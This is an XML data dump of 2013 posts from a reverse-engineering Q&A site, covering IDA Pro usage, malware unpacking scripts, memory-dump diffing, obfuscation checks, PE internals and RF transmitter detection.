  <row Id="3029" PostTypeId="2" ParentId="2984" CreationDate="2013-11-09T09:48:40.817" Score="3" Body="&lt;p&gt;How to detect:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;obtain Spectrum Analyzer&lt;br&gt; Rigol makes cheap ones. RTLSDR dongle will also work with&#xA;&lt;a href=&quot;http://eartoearoak.com/software/rtlsdr-scanner&quot; rel=&quot;nofollow&quot;&gt;http://eartoearoak.com/software/rtlsdr-scanner&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;get close to transmitting radio (extra points for touching it)&lt;/li&gt;&#xA;&lt;li&gt;run RF sweep, log RSSI&lt;/li&gt;&#xA;&lt;li&gt;repeat above until you are sure you found your guy&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;Frequency hopping might be little annoying, but shouldn't be a problem if you log enough data over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can try one of those cheap Chinese Frequency Counters, for example &lt;br&gt;&#xA;&quot;GY560 Frequency Counter Meter for Two Way Radio Transceiver GSM 50 MHz-2.4 GHz&quot; ~$20 on auction sites.&lt;/p&gt;&#xA;" OwnerUserId="1953" LastActivityDate="2013-11-09T09:48:40.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3030" PostTypeId="1" CreationDate="2013-11-10T12:40:21.237" Score="4" ViewCount="181" Body="&lt;p&gt;The usual way to return a value is by passing it in &lt;code&gt;EAX&lt;/code&gt;. I know also that a 64 Bit value would be returned in &lt;code&gt;EAX:EDX&lt;/code&gt;. However I have now a function that calcluates the localtime to miliseconds into a 64Bit double value, and the function returns it in the FPU stack, so the caller, upon return, pops it off from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA identified this function as &lt;code&gt;void&lt;/code&gt; and when I try to declare it as &lt;code&gt;double&lt;/code&gt; it says that it is a &quot;bad declaraton&quot;. Even if IDA would accept it, this would mean that the value would have been passed back using &lt;code&gt;EAX:EDX&lt;/code&gt; right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to Wikipedia calling conventions, float/doubles are returned using the x87 registers as a standard. So how do I tell IDA this, resp. why doesn't it accept double as the return value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found another function which returns a double, and this one is correctly using the &lt;code&gt;double&lt;/code&gt; as the return value, when I press &lt;code&gt;Y&lt;/code&gt; to change the function. So whats wrong with this one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;void __userpurge GetTimeInMilliseconds(unsigned __int16 nHour&amp;lt;ax&amp;gt;, unsigned __int16 nMinute&amp;lt;dx&amp;gt;, unsigned __int16 nSeconds&amp;lt;cx&amp;gt;, unsigned __int32 nMilliseconds)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to change the &lt;code&gt;void&lt;/code&gt; to &lt;code&gt;double&lt;/code&gt;, then it failes. I assume that I may have to specify the returnvalue manually, but how do I do this for a FPU register?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this, also doesn't work, so probalby there is some different name for the FPU?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __userpurge GetTimeInMilliseconds&amp;lt;st&amp;gt;(unsigned __int16 nHour&amp;lt;ax&amp;gt;, unsigned __int16 nMinute&amp;lt;dx&amp;gt;, unsigned __int16 nSeconds&amp;lt;cx&amp;gt;, unsigned __int32 nMilliseconds)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2130" LastEditorUserId="2130" LastEditDate="2013-11-10T12:57:16.193" LastActivityDate="2013-11-10T12:57:16.193" Title="IDA declare a function that passes return value on FPU stack" Tags="|ida|" AnswerCount="0" CommentCount="3" ClosedDate="2013-12-17T08:04:19.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="3031" PostTypeId="1" AcceptedAnswerId="3032" CreationDate="2013-11-10T16:32:28.183" Score="3" ViewCount="279" Body="&lt;p&gt;When you open the stack window in IDA with &lt;code&gt;Ctrl-K&lt;/code&gt; there is a comment at the top saying:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;; Two special fields &quot; r&quot; and &quot; s&quot; represent return address and saved registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I made some mistake and undefined these fields, then how can I recreate them? Defining data creates just a normal variable type. Or can those not be set, so I have to live with the data types?&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2013-11-10T17:24:08.840" Title="IDA special fields in stack window" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3032" PostTypeId="2" ParentId="3031" CreationDate="2013-11-10T17:24:08.840" Score="3" Body="&lt;p&gt;Easiest solution is to undefine the function (navigate in the disassembly to the beginning of the function and press &lt;kbd&gt;U&lt;/kbd&gt;) and then redefine the function (navigate in the disassembly to the beginning of the function and press &lt;kbd&gt;P&lt;/kbd&gt;). Note that this will reset any variable names you had already set, though.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-11-10T17:24:08.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3033" PostTypeId="1" CreationDate="2013-11-11T11:14:14.357" Score="2" ViewCount="2027" Body="&lt;p&gt;As malware are often packed, I'm looking to automate some of the unpacking tasks when that's possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to do that, I thought that OllyScript was an interesting way to write unpacking script for each packer that I have to deal with. But the first packer example for which I would like to write such script brings a &quot;Bad or unknown format of 32 bits executable&quot; error in Ollydbg/ImmunityDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As there is not that problem in OllyDbg2 I thought that OllyScript+OllyDbg2 will be perfect, but OllyScript doesn't seems to have a version for OllyDbg2...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kind of &quot;scripting engine&quot; do you suggest me in order to write unpacking scripts ?&lt;/p&gt;&#xA;" OwnerUserId="1309" LastActivityDate="2013-11-11T13:58:03.933" Title="Unpacking script" Tags="|debuggers|unpacking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3034" PostTypeId="2" ParentId="3033" CreationDate="2013-11-11T13:58:03.933" Score="3" Body="&lt;p&gt;Well, if you are using &lt;a href=&quot;http://www.immunityinc.com/products-immdbg.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;ImmunityDbg&lt;/a&gt;, have a look at using Python to write your unpacking scripts. With ImmunityDbg, Python scripting support is built-in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An additional benefit of focusing on Python (instead of OllyScript) is that if you begin using a IDA Pro with IDAPython, your scripts will convert much more easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not familiar with how to write an unpacker in Python, have a look at &lt;a href=&quot;http://nostarch.com/ghpython.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gray Hat Python&lt;/a&gt;. The book doesn't show you exactly how to write an unpacker, but demonstrates how to work with (from Python) PE files, call into the Windows API, write a debugger, and other related tasks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Immunity Debugger's Python API includes many useful utilities and functions. Your scripts can be as integrated into the debugger as the native code. This means your code can create custom tables, graphs, and interfaces of all sorts that remain within the Immunity Debugger user experience. For example, when the Immunity SafeSEH script runs, it outputs the results into a table within the Immunity Debugger window.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KBjjH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-11-11T13:58:03.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3036" PostTypeId="1" AcceptedAnswerId="12923" CreationDate="2013-11-14T09:28:45.523" Score="5" ViewCount="549" Body="&lt;p&gt;I'm comparing memory dumps in python with diStorm and volatility and try to analyze for given MemoryDumps (the 'dump' and the 'truth') whenever or not there was process injection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mainly I try to match processes and vads in to dumps to each other to compare them, but i get quiet a lot of white noise (false positives).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a log I received comparing two clean memory dumps only by comparing modules (notepad and calc):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[10:08:13] Loading  'D:\notepad.zip'&#xA;[10:08:36] Loading  'D:\calc.zip'&#xA;[10:08:59] No match found for #208 &quot;calc.exe&quot;!&#xA;[10:08:59] 01/17    matching &quot;csrss.exe&quot;&#xA;[10:09:08] 02/17    matching &quot;VBoxTray.exe&quot;&#xA;[10:09:18] 03/17    matching &quot;svchost.exe&quot;&#xA;[10:12:51] 04/17    matching &quot;ctfmon.exe&quot;&#xA;[10:12:55] 05/17    matching &quot;VBoxService.exe&quot;&#xA;[10:13:24] 06/17    matching &quot;smss.exe&quot;&#xA;[10:13:25] 07/17    matching &quot;explorer.exe&quot;&#xA;[10:14:39] Module difference @ 0x772fb186   &quot;\WINDOWS\system32\shlwapi.dll&quot;&#xA;SUB AL, 0x77                    SUB AL, 0x77&#xA;POP ESP                         MOV DL, 0x14&#xA;DB 0x15                         DB 0xbd&#xA;DB 0x2d&#xA;[10:14:39] Module difference @ 0x772fb817   &quot;\WINDOWS\system32\shlwapi.dll&quot;&#xA;XOR [EAX], EAX                  XOR [EAX], EAX&#xA;ADD [EAX], AL                   DB 0x0&#xA;DB 0x0                          DB 0xbd&#xA;[10:14:39] Module difference @ 0x77fb5e17   &quot;\WINDOWS\system32\ntdll.dll&quot;&#xA;ADD [ECX+0x0], AH               ADD [EDI+0x0], CH&#xA;INS BYTE [ES:EDI], DX           DB 0x74&#xA;[10:14:39] Module difference @ 0x77fb5e1f   &quot;\WINDOWS\system32\ntdll.dll&quot;&#xA;ADD [EBP+0x0], AH               ADD [ECX+0x0], AH&#xA;DB 0x78                         DB 0x64&#xA;[10:14:39] Module difference @ 0x77fb5e27   &quot;\WINDOWS\system32\ntdll.dll&quot;&#xA;ADD [EAX], AL                   ADD [EAX+0x0], BH&#xA;DB 0x0                          DB 0x65&#xA;DB 0x73&#xA;[10:14:41] 08/17    matching &quot;spoolsv.exe&quot;&#xA;[10:15:24] 10/17    matching &quot;svchost.exe&quot;&#xA;[10:15:47] 11/17    matching &quot;msmsgs.exe&quot;&#xA;[10:16:06] 12/17    matching &quot;svchost.exe&quot;&#xA;[10:16:38] 13/17    matching &quot;svchost.exe&quot;&#xA;[10:17:08] 14/17    matching &quot;winlogon.exe&quot;&#xA;[10:18:03] 15/17    matching &quot;services.exe&quot;&#xA;[10:18:19] 16/17    matching &quot;lsass.exe&quot;&#xA;[10:19:15] Module difference @ 0x74414320   &quot;\WINDOWS\system32\samsrv.dll&quot;&#xA;ADD [EAX], AL                   JO 0x743bffb4&#xA;ADD [EAX], AL                   ADC AL, 0xc&#xA;ADD [EAX], AL                   OR AL, 0xde&#xA;ADD [EAX], AL                   INTO&#xA;[10:19:15] Module difference @ 0x74414546   &quot;\WINDOWS\system32\samsrv.dll&quot;&#xA;ADD [EAX], AL                   ADD [EAX], AL&#xA;ADD [EAX], AL                   DB 0xff&#xA;ADD [EAX], AL                   DB 0xff&#xA;DB 0x0                          DB 0xff&#xA;[10:19:16] Module difference @ 0x76f411bf   &quot;\WINDOWS\system32\wldap32.dll&quot;&#xA;ADD [EAX], AL                   ADD AL, CH&#xA;DB 0x3e                         JAE 0x76f2000f&#xA;DB 0xc&#xA;[10:19:17] Module difference @ 0x77cff169   &quot;\WINDOWS\system32\rpcrt4.dll&quot;&#xA;DB 0x3                          MOV AL, [0x49ff5965]&#xA;DB 0x35&#xA;DB 0xa1&#xA;IN AL, 0x3a&#xA;[10:19:20] 17/17    matching &quot;System&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i try ans also compare the executable image of the process I recieve even more noise&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[12:10:13] 01/17    matching &quot;csrss.exe&quot;&#xA;[12:10:22] Instruction missmatch @ 0x5302db (13)&#xA;ADD [EAX-0x671ea561], CH        ADD AL, CH&#xA;RETF                            AND AL, 0x98&#xA;AND ECX, 0x2b0003               CWDE&#xA;[12:10:22] Instruction missmatch @ 0x53033b (6)&#xA;ADD [EBP+0x0], AH               ADD [EBX+0x0], DH&#xA;[12:10:22] Instruction missmatch @ 0x5304c7 (9)&#xA;ADD [EAX], AH                   ADD AL, CH&#xA;ADC EAX, 0x95d8bc65             ADD [EAX], AL&#xA;TEST AL, 0xe1                   ADD [EAX], AL&#xA;[12:10:22] Instruction missmatch @ 0x53065d (2)&#xA;ADD [EBX], AL                   ADD [EAX+EAX], AL&#xA;[12:10:22] Instruction missmatch @ 0x5307bb (6)&#xA;ADD [EBX+0x0], DH               ADD AL, CH&#xA;[12:10:22] Instruction missmatch @ 0x5307c5 (7)&#xA;ADD [EAX+EAX-0x439c6800], AH    ADD [ECX+0x0], BL&#xA;[12:10:22] Instruction missmatch @ 0x530864 (1)&#xA;STD                             FLD DWORD [EAX]&#xA;[12:10:22] Instruction missmatch @ 0x53086d (4)&#xA;ADD [EAX+EAX+0x18], AL          ADD [EDX+0x60551800], AL&#xA;[12:10:22] Instruction missmatch @ 0x53096c (13)&#xA;CMP [EBP+0x65], CH              MOV AL, [0x70e18a84]&#xA;MOV ESP, 0xe1a895d8             LOOPZ 0x530072&#xA;ADD EAX, 0xd0000300             ADD EAX, [EAX]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each dump has been created on the same Windows XP VM.&#xA;Any idea on how to filter that noise? Would be thankful for any hint and sorry for my bad english.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2013-11-14T11:21:23.103" LastActivityDate="2016-09-29T19:41:41.787" Title="Differences in memory dumps of executable data" Tags="|executable|memory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3037" PostTypeId="1" CreationDate="2013-11-14T11:12:43.260" Score="1" ViewCount="3066" Body="&lt;p&gt;I have developed an Android Application with some data crunching inside a C library (NDK). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to protect the library code: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have obfuscated the code with ProGuard    and exported it in release version. &lt;/li&gt;&#xA;&lt;li&gt;I have replaced the functions and variables names inside the C Library with random sequence of letters to let it unreadable. &lt;/li&gt;&#xA;&lt;li&gt;I verified the library with &lt;code&gt;readelf -a&lt;/code&gt; command. &lt;/li&gt;&#xA;&lt;li&gt;I verify the apk with ApkTool&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I verify that it is correctly obfuscated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to explore and reverse the library (&lt;code&gt;.so&lt;/code&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="3163" LastEditorUserId="53" LastEditDate="2014-03-19T08:30:41.130" LastActivityDate="2014-04-18T12:20:30.857" Title="How to verify that an Android Application &amp; Library is correctly obfuscated" Tags="|android|libraries|apk|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3038" PostTypeId="1" CreationDate="2013-11-14T15:43:49.047" Score="7" ViewCount="1251" Body="&lt;p&gt;IDA has this nifty habit that when it doesn't know what a special purpose register is, it just drops in the number of the register instead. While this is all well and fine, I'd like to be able to correct these items in my database. I know I can just adjust the [arch].cfg file; however, that applies the changes to &lt;em&gt;ALL&lt;/em&gt; processors of that architecture, which isn't always the correct behavior.  Instead, I'd like to only change the registers per database that I'm working on.&lt;/p&gt;&#xA;&lt;p&gt;So I started down the IDAPython path and I can easily get the unnamed registers:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for r in range(220,240):&#xA;    uknName = get_reg_name(r,0)&#xA;    print(&amp;quot;Got: '%s' for register %d &amp;quot;) % (unkName,r)&#xA;    if unkName is None:&#xA;        # I'd like to fix this but I can't&#xA;        # set_reg_name(r,&amp;lt;something I read from a file&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where I've run into issues is that I can't seem to find the IDAPython idc/idaapi/idautils function that I can use to rename the it. Do you know what the magic python sauce is that would allow me to rename these items? I've been trying to find something in the official docs &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; but haven't had any luck.&lt;/p&gt;&#xA;&lt;h1&gt;UPDATE: Equivalent Functionality&lt;/h1&gt;&#xA;&lt;p&gt;As mentioned below, this isn't &amp;quot;possible&amp;quot; with the IDA API (as is also noted in my original implied statement of &amp;quot;I read all of this and can't find a way to do it.&amp;quot;  The following code will provide you an equvilent bit of information ... but I've not found an efficient way to implement it so I just keep this snip-it around and hack it up as needed. It provides the same as the &amp;quot;RightClick-&amp;gt;Rename&amp;quot; that you can use to rename a given register per function ... sadly, not a good way to do an entire database. Mucked up for x86 since it was the only image I had available:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ea = ScreenEA()&#xA;func = idaapi.get_func(ea)&#xA;regvar = idaapi.find_regvar(func, ea, &amp;quot;eax&amp;quot;)&#xA;# print(var_dump(regvar))&#xA;# associated &amp;quot;rename variable&amp;quot; magic&#xA;idaapi.rename_regvar(func, idaapi.find_regvar(func, ea, &amp;quot;eax&amp;quot;), &amp;quot;asdfd&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3165" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-04-22T08:20:09.047" Title="Is there a way to set the number special purpose registers in IDA pro with a script?" Tags="|disassembly|ida|idapython|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3040" PostTypeId="1" AcceptedAnswerId="3486" CreationDate="2013-11-15T09:39:10.917" Score="6" ViewCount="259" Body="&lt;p&gt;I would like to know how are achieved PUFs (Physicaly Unclonable Functions) and if there is a way reverse these hardware electronic components ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recent papers such as &quot;&lt;a href=&quot;http://nedos.net/fdtc2013.pdf&quot; rel=&quot;nofollow&quot;&gt;Invasive PUF Analysis&lt;/a&gt;&quot; present techniques to extract information from PUFs but, I would like to better understand the basic principles of PUFs and what are the problems when trying to clone it.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-11-21T18:25:44.447" LastActivityDate="2014-01-19T17:41:07.123" Title="How are achieved PUFs (Physicaly Unclonable Functions) and can we workaround?" Tags="|obfuscation|hardware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3042" PostTypeId="1" AcceptedAnswerId="3053" CreationDate="2013-11-15T21:36:18.173" Score="2" ViewCount="4686" Body="&lt;p&gt;I have a proprietary file format that is a compressed database file. This database file has a few dozen tables. Each of these tables only have a few records, many of them don't have any records at all. A few of these tables contain fields that are stored as blobs of hex data. These blobs account for 99% of the disk space of the overall database file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, these blobs are not compressed data (by using unix 'file' command). I have tried finding known values in these blobs by exporting values from the proprietary software, converting to hex and searching for that value in the database file. So far I haven't been able to find any matches. The problem is that the software can export in a myriad of formats and I'm not sure which one (if any) the data would be stored in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the tables contain checksum fields, which I believe, are responsible for my inability to edit the blobs and see what changes in the proprietary software. This combined with the fact that I cannot directly change the values that I wish to extract from the proprietary files leaves me in a difficult position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know any tricks for trying to tease out time series data from binary data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;&lt;a href=&quot;http://pastelink.me/dl/4e6d0c#sthash.Co5cEOJS.dpuf&quot; rel=&quot;nofollow&quot;&gt;This zip file&lt;/a&gt; contains 2 hex blobs (index and value) from the decompressed database and the same data as it is exported from the program.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="3170" LastEditDate="2013-11-18T23:41:43.423" LastActivityDate="2016-11-20T10:52:40.747" Title="Decoding a blob" Tags="|binary-analysis|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3043" PostTypeId="1" CreationDate="2013-11-16T00:18:05.350" Score="4" ViewCount="6257" Body="&lt;p&gt;Is there some way or technique to determine which code cycles in the program? Like if my application gets on an infinite loop and I would like to know exactly where it loops?&lt;/p&gt;&#xA;" OwnerUserId="3061" LastEditorUserId="245" LastEditDate="2014-01-04T13:23:12.317" LastActivityDate="2014-01-04T13:23:12.317" Title="How to find where the code is cycling - infinite loop?" Tags="|disassembly|debuggers|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3044" PostTypeId="1" AcceptedAnswerId="3045" CreationDate="2013-11-16T14:43:44.000" Score="5" ViewCount="2655" Body="&lt;p&gt;Do disassemblers detect the use of C/C++ standard functions and specify them in the output code, adding the &lt;code&gt;#include&lt;/code&gt; line to the appropriate header file (such as &lt;code&gt;stdio.h&lt;/code&gt; or even &lt;code&gt;windows.h&lt;/code&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, does the whole big library is being recognized as the developer's own business-logic code, and written fully? Aren't the standard libraries known binary sequences (or can be processed some way to be known, as a binary-code can be different because of addressing)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know disassemblers that do detect standard functions and properly #include them in the output?&lt;/p&gt;&#xA;" OwnerUserId="3179" LastEditorUserId="53" LastEditDate="2017-04-28T12:57:32.690" LastActivityDate="2017-04-28T12:57:32.690" Title="Do disassemblers detect standard functions?" Tags="|ida|disassembly|disassemblers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3045" PostTypeId="2" ParentId="3044" CreationDate="2013-11-16T16:03:45.037" Score="2" Body="&lt;p&gt;IDA Pro will do such things thanks to its FLIRT feature.&#xA;You can take a look here to get more information : &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/175/what-is-a-flirt-signature&quot;&gt;What is a FLIRT signature?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1309" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-11-16T16:03:45.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3046" PostTypeId="2" ParentId="3044" CreationDate="2013-11-17T00:28:58.420" Score="9" Body="&lt;p&gt;One thing that's important to realize is that standard runtimes are commonly treated as any other code or library. How compiled code is linked and loaded depends a lot on the platform. .net is very different from c++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically functions have at least three major ways of showing up inside of your binary: &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Dynamically linked&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This when a function is kept inside of a dynamically loaded library and is the case for many of the functions you'd get through &lt;i&gt;windows.h&lt;/i&gt; as you said. Identifying these are generally easy as they're functionally separated and named either through their string name, decorated or undecorated, or through ordinal. Most disassemblers should handle dynamically linked standard functions without issues. This is the most common default for various compiler, runtime and platform options. This depends on the compiler being able to move the function to a separate compilation unit, which is commonly not the case with many templates in C++. Calling conventions are respected and prologue and epilogue are present.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Statically linked and not inlined&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is when a function is included inside of your binary but is functionally separate from other functions. This can be identified using a set of signatures of some form. IDA uses &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot;&gt;FLIRT signatures&lt;/a&gt;. Something like &lt;a href=&quot;http://www.zynamics.com/bindiff.html&quot;&gt;bindiff&lt;/a&gt; uses a more varied and complex approach to comparing functions, for instance using flow graph analysis. Usually parameters are passed according to calling convention unless the binary is built with &lt;a href=&quot;https://en.wikipedia.org/wiki/Link-time_optimization&quot;&gt;link time optimization&lt;/a&gt; in which case the compiler is free to pass arguments in any order it feels like. If you're lucky the binary contains debug information which could allow for significant recovery of function names and parameters.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Statically linked and inlined&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is when a function is included inside of your binary and is not functionally separate from other functions. This generally happens when a function is small enough that the overhead to do a function call is expensive enough to warrant repeating the same function in the calling function or if the function is only called in very few locations, usually once, in the binary. This means that the disassembler has very little information to know that this was originally a separate function and debug information will not help much with recovery of these functions. There will be no function prologue or epilogue. Opcodes can be heavily rearranged/ The only tool I'm aware of that does very limited recovery of this sort of function is Hex-Rays decompiler, not diassembler. I've seen binaries with link time optimization where a function ends up being a massive result of hundreds of nested inlined functions, resulting in a function with thousands of branches. Separating them back out into their original functions would have been a very useful operation to have.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Finally&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;There is no solution that solves all the cases mentioned above. Hex-Rays IDA combined with their decompiler and BinDiff probably provides the most complete solution I know of. On very &lt;a href=&quot;https://en.wikipedia.org/wiki/Reflection_%28computer_programming%29&quot;&gt;reflective platforms&lt;/a&gt; such as .net, java or python this isn't much of an issue.  &lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2013-11-17T00:28:58.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3047" PostTypeId="1" AcceptedAnswerId="3054" CreationDate="2013-11-17T14:38:34.517" Score="6" ViewCount="3224" Body="&lt;p&gt;Normally I struct is a fixed size. Is it possible to define a structure which contains an element which has different sizes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate what I mean is this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The layout of the data in the file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ID          WORD 0&#xA;FunctionPtr DWORD OFFSET Fkt&#xA;Name        db 'Name of the function',0&#xA;align 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;'Name' is now a C-String which is as long until it reaches the 0-byte at the end and then follows the align instruction. So is it possible to tell IDA that the structure is including the string, no matter how long it is?&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2020-12-31T09:14:02.140" Title="Creating a struct in IDA which contains a cString?" Tags="|ida|struct|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3048" PostTypeId="1" AcceptedAnswerId="3050" CreationDate="2013-11-17T15:49:57.383" Score="1" ViewCount="330" Body="&lt;p&gt;According to IDA the file I'm inspecting has &lt;code&gt;imagebase 0x400000&lt;/code&gt;. The first data I can see starts at &lt;code&gt;0x401000&lt;/code&gt; but the program reads some data which is at &lt;code&gt;00400174&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I put a data access breakpoint there, it breaks in &lt;code&gt;ntdll!RtlpImageDirectoryEntryToData32&lt;/code&gt; which probably means that there is some process data (using Windows 7). Where can I find some information as to what exactly is there stored?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the call stack it looks like there should be some resource data as there is&#xA;&lt;code&gt;FindResource&lt;/code&gt; among other things.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ChildEBP RetAddr  &#xA;0012f998 7c910385 ntdll!RtlpImageDirectoryEntryToData32+0xf&#xA;0012f9b8 7c9118c0 ntdll!RtlImageDirectoryEntryToData+0x57&#xA;0012fa84 7c911db7 ntdll!LdrpSearchResourceSection_U+0x34&#xA;0012faa0 7c80ad8b ntdll!LdrFindResource_U+0x18&#xA;0012faf4 7e419dbb kernel32!FindResourceExW+0x64&#xA;0012fb18 7e42c924 user32!LoadStringOrError+0x31&#xA;0012fb3c 00404bcd user32!LoadStringA+0x1c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2130" LastEditorUserId="53" LastEditDate="2013-11-17T16:26:44.323" LastActivityDate="2013-11-17T20:19:59.487" Title="What data before the code segment in PE files?" Tags="|windows|pe-resources|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3049" PostTypeId="1" AcceptedAnswerId="3051" CreationDate="2013-11-17T17:47:04.860" Score="4" ViewCount="1146" Body="&lt;p&gt;I tried UPX, ASPack and other protectors, but it seems that my application has a weak protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best method for protecting your program? Using packers or something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least for a beginner; because I guess there is no perfect protection in the planet an expert can't reverse.&lt;/p&gt;&#xA;" OwnerUserId="3183" LastEditorUserId="116" LastEditDate="2013-11-19T08:46:44.453" LastActivityDate="2013-12-27T07:33:13.223" Title="Is there a perfect method for protecting executable files?" Tags="|packers|copy-protection|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
